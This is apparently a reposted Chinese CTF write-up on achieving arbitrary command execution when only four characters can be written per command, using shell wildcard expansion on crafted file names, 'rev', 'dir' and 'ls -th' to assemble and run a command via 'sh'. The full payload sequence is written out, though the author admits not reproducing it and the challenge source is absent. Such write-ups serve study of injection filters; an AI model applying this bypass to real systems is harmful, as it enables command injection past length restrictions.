4位可控字符下的任意命令执行

*因为环境有点问题无法复现,无法整体复现

*但是这个trick非常有意思,想分享下

 

 

题目源码:

 

预备知识:

①输入统配符* ,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数

>id
>root
*           (等同于命令:id root)

4位可控字符下的任意命令执行_第1张图片

②增加字母来限定被用来当作命令和参数的文件名

>ls
>lss
>lsss
>1
*s       (等同于命令: ls lss lsss)

4位可控字符下的任意命令执行_第2张图片

③联合知识点②,通过rev来倒置输出内容

>rev
echo 1234 > v
*v    (等同于命令:rev v)

 

 

④通过增加ls的-h(把文件大小显示成1k 1M 等形式)参数来让调整-t(根据时间排序)参数的位置

 

我们之后需要用到rev 倒置输出

 

所以需要列出这样形式的文件名

0>  t-  sl

>0\>
>t-
>sl

但是实际出现的效果是这样的

 

所以要增加-h来把-t往前拉

>0\>
>ht-
>sl

 

⑤用dir来代替ls不换行输出

 

先看下ls的效果,写到a时每个文件名都是单独一行,这样会影响知识点①的命令执行

 

4位可控字符下的任意命令执行_第3张图片

看下dir的效果,会不换行输出到文件中去

4位可控字符下的任意命令执行_第4张图片

 

最后的payload

>dir
>f\>
>ht-
>sl
*>v        (等同于命令:dir "f>" "ht-" "sl" > v)
>rev
*v>0        (等同于命令:rev v > 0)(0里面的内容位:ls -th >f)
sh 0        (sh执行0里面的内容)

可以看到命令被成功执行生成了f文件

4位可控字符下的任意命令执行_第5张图片

你可能感兴趣的:(CTF)